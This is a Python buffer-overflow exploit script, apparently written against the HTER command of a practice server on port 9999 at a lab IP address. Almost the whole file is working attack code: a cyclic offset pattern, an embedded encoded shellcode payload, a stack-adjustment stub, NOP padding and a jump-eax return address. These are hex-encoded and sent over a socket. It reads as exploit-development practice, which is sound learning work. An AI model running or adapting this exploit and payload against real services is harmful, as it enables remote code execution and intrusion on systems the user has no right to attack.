exploit_HTER.py

import socket
import sys
import struct
import hexdump

host = "192.168.112.133"
port = 9999

pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"

buf = ""
buf += "\xbf\xc7\x2e\x68\x73\xda\xc1\xd9\x74\x24\xf4\x58\x33"
buf += "\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\x2f\xd2\x8a"
buf += "\x86\x53\xc3\xc9\x69\xab\x14\xae\xe0\x4e\x25\xee\x97"
buf += "\x1b\x16\xde\xdc\x49\x9b\x95\xb1\x79\x28\xdb\x1d\x8e"
buf += "\x99\x56\x78\xa1\x1a\xca\xb8\xa0\x98\x11\xed\x02\xa0"
buf += "\xd9\xe0\x43\xe5\x04\x08\x11\xbe\x43\xbf\x85\xcb\x1e"
buf += "\x7c\x2e\x87\x8f\x04\xd3\x50\xb1\x25\x42\xea\xe8\xe5"
buf += "\x65\x3f\x81\xaf\x7d\x5c\xac\x66\xf6\x96\x5a\x79\xde"
buf += "\xe6\xa3\xd6\x1f\xc7\x51\x26\x58\xe0\x89\x5d\x90\x12"
buf += "\x37\x66\x67\x68\xe3\xe3\x73\xca\x60\x53\x5f\xea\xa5"
buf += "\x02\x14\xe0\x02\x40\x72\xe5\x95\x85\x09\x11\x1d\x28"
buf += "\xdd\x93\x65\x0f\xf9\xf8\x3e\x2e\x58\xa5\x91\x4f\xba"
buf += "\x06\x4d\xea\xb1\xab\x9a\x87\x98\xa3\x6f\xaa\x22\x34"
buf += "\xf8\xbd\x51\x06\xa7\x15\xfd\x2a\x20\xb0\xfa\x4d\x1b"
buf += "\x04\x94\xb3\xa4\x75\xbd\x77\xf0\x25\xd5\x5e\x79\xae"
buf += "\x25\x5e\xac\x61\x75\xf0\x1f\xc2\x25\xb0\xcf\xaa\x2f"
buf += "\x3f\x2f\xca\x50\x95\x58\x61\xab\x7e\xa7\xde\xc3\xf8"
buf += "\x4f\x1d\x23\x14\xcc\xa8\xc5\x7c\xfc\xfc\x5e\xe9\x65"
buf += "\xa5\x14\x88\x6a\x73\x51\x8a\xe1\x70\xa6\x45\x02\xfc"
buf += "\xb4\x32\xe2\x4b\xe6\x95\xfd\x61\x8e\x7a\x6f\xee\x4e"
buf += "\xf4\x8c\xb9\x19\x51\x62\xb0\xcf\x4f\xdd\x6a\xed\x8d"
buf += "\xbb\x55\xb5\x49\x78\x5b\x34\x1f\xc4\x7f\x26\xd9\xc5"
buf += "\x3b\x12\xb5\x93\x95\xcc\x73\x4a\x54\xa6\x2d\x21\x3e"
buf += "\x2e\xab\x09\x81\x28\xb4\x47\x77\xd4\x05\x3e\xce\xeb"
buf += "\xaa\xd6\xc6\x94\xd6\x46\x28\x4f\x53\x66\xcb\x45\xae"
buf += "\x0f\x52\x0c\x13\x52\x65\xfb\x50\x6b\xe6\x09\x29\x88"
buf += "\xf6\x78\x2c\xd4\xb0\x91\x5c\x45\x55\x95\xf3\x66\x7c"

#buf = ""
#for i in xrange(0, 100):
#    if i in [0x00, 0x0a, 0x0d]: continue
#    buf += chr(i)

exploit = "\x90" * 50
exploit += "\x31\xc0"   #0:  31 c0                   xor    eax,eax
exploit += "\xb4\x06"   #2:  b4 06                   mov    ah,0x6
exploit += "\x29\xc4"   #4:  29 c4                   sub    esp,eax
exploit += buf
exploit += "\x90" * (1020-len(exploit))
exploit += struct.pack("<L", 0x625011b1) #jmp eax

def encode_exploit(exploit):
    encoded_str = ""
    for e in exploit:
        encoded_str += "{:02x}".format(ord(e))
    return encoded_str

buffer = "HTER  "
buffer += encode_exploit(exploit)
buffer += "\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buffer)
expl.close()